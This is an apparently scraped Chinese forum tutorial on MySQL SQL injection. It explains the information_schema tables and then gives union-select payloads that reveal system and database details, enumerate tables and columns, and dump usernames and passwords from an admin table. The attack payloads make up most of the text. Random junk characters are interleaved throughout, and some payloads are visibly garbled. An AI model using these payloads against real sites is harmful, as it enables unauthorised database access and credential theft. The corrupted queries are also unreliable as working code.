本文介绍MYSQL盲注的一些语句和方法$ P' r" R" F$ E) m: I
3 d+ P4 Q$ H6 m1 Q5 n
学习盲注前先了解下 IFORMATION_SCHEMA 库
$ ]# _" J3 P; O& C7 l# w9 j, I1 f3 ]+ t) C
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有) U5 Z6 ~# @& t; r
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。" m# w' B1 P: ]+ ]2 h# E5 r. q* e: t9 o
1.得到所有数据库名:+ m, h0 ]# {2 ^7 D1 t3 f! D' N4 A0 d
|SCHEMATA ->存储数据库名的表
8 g/ t& u" ^( Z- G' v7 I( ]7 _0 ^( G|---字段:SCHEMA_NAME ->数据库名称9 K" d. }! @9 O+ }
4 g" e. c+ n7 g$ b
|TABLES ->存储表名
* m ~; y4 i8 c& h5 Y|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名
$ c; x# @+ x2 h. }|---字段:TABLE_NAME ->存储表的表名. a! o2 e$ Y( f0 g. G5 W( |# l
; {$ R% e. z+ \
|COLUMNS ->存储的字段名表
3 A7 e( s1 _$ O# I+ T) [- p|---字段:TABLE_SCHEMA ->该字段所属数据库名5 d0 P: V# J3 n" S1 ^
|---字段:TABLE_NAME ->存储所属表的名称
1 q5 K) F$ Y& n
4 g# ~+ o6 D4 e/ C|---字段:COLUMN_NAME ->该字段的名称
% J: K+ Y6 X4 _. [7 A' }5 z6 K/ _# V6 r% F) {7 _+ G/ \, G
4 t) l2 s) U. L6 d
; m& f4 k0 p+ U# N, ^0 s* ~1 d###########################################################################+ ^/ C3 H3 e+ t( [
5 P3 F& p* f* H9 u- R" {0 Q* ~7 {5 P0x001 获取系统信息:+ u+ q. {2 E, n; `1 l; M
7 T6 @$ E2 q3 B7 }% b
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
2 g* D5 @$ ^+ n H6 O y3 _9 X) L4 {" S2 [9 ` K4 k3 A' L
/*
3 C1 r& s+ {" Z4 R6 O) H3 z4 T" _. z/ ]
@@global.version_compile_os 获取系统版本& b9 `7 T, ]" |5 F8 \: L* `
# M/ p6 |/ `$ j- @4 F
@@datadir 数据库路径
: e6 y+ [. n9 z6 a( xdatabase() 当前数据库名称
% X6 T9 ]6 S( B1 B2 b& Y- q3 B0x3c62723e 换行HEX值8 j4 B7 }( Y# S2 |2 \) s0 a, k
. l9 R- h6 _+ X& r- S ^*/3 U) E# H( H- @" H/ U' J# t
+ ]1 r0 u9 D$ f9 f* {, o
8 a7 ?$ F8 D J" k6 l1 ]# K8 M: W1 q0 J. c
######################################################################
t% ?$ E% c$ S* w- e+ a: ^
, s$ }' ~$ Y8 ?. w3 w0x002 获取表名 s" U/ T3 O6 @, d6 L Z$ N) N
, o8 i3 |4 i6 w( y( I1 o9 ]" T
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*6 } I2 N) F) k5 k, e
4 ~' r1 p; j: E2 f
% m% K1 M- |, _6 q/ E& \, n1 r' }
Y; i4 n) ~% z1 b! }% M- }/*
' z5 F9 n4 ?6 |( C3 G+ P( ~( g9 U4 f& A) A4 d4 U# v
0x67617264656e 为当前数据库名
8 ?9 r. n- H# ]5 O& U O
, f5 P; s* S' U* Bgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名4 R: e& D* J3 `) I; F
1 h& u/ G8 ^" G*/0 ]5 a, x8 [1 P1 o/ g9 ]9 }
/ u& |- G! g. d! k# ], d
######################################################################
3 r; z0 ~( f0 a* U, A! M" {# ]
+ G; F& N+ s* r+ b- H- U; D . x" N$ T+ [& I3 W3 I2 S
3 ]8 }' p) D2 H9 n2 d% c9 g8 |
0x003 获取字段
6 D X6 E2 `0 U; r; u' O% Z8 d& n, ?7 u U8 \# S' l& i
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*! l) |; A: D+ H; g: m+ M, T9 S
8 J" L- [% ~+ b
/*
1 z: D8 b0 u# D7 S$ ?9 j: A. k; N: E- w
group_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段* X" a( R4 y3 Q: x1 }( \
$ N3 S& `/ ~! k V
0x61646d696e ->选择一个表5 U5 y1 h0 b* v2 |1 u
& ~+ V0 Q6 s4 D' M8 e0x67617264656e ->数据库名1 N' ~6 O3 J: s
7 M& J1 r0 `: [( d
*/
( w0 i7 s, G. m* G) H' [7 V" f0 @! H/ r. u
#####################################################################
& V/ A! O2 a$ A# r9 X& J0 O( l
% h' j( v( ]) E! p ) u8 ^; n. r+ o. Q4 T- @
# K& n# G7 ^0 L/ f0 R0x004 获取数据; T/ X) I8 T. d) `
9 N' t7 P0 t0 U S9 S, L
union select 1,2,32 [4 `% `# I: p/ _/ j
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin; P( m; q) Y8 D$ E5 A2 `. E, K$ D
+ R7 e# G" e( Yunion select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
. B' u" Q) `1 e. z
5 }# {# x. ~6 z7 M6 r , V$ F4 x, d) k# R5 p
$ N: e8 ~0 G3 i) Z, R; G9 t
/*
. H/ p. X' o; p. Z. I. [$ o* h/ L, a
* a& \, j) Z3 S2 p- `$ L+ C y3 X0x3c62723e 换行符号HEX编码
" u. S8 o7 D4 A
. M, z! `$ }! \ ~' Qgroup_concat 同时获得该字段所有数据- @5 r, ~+ r- J9 E4 h1 C, q
$ r5 `7 P$ q3 w7 v6 t+ ]2 K
*/
; [3 e# K' l8 y) y& C9 J S3 R; k, a1 T; |
|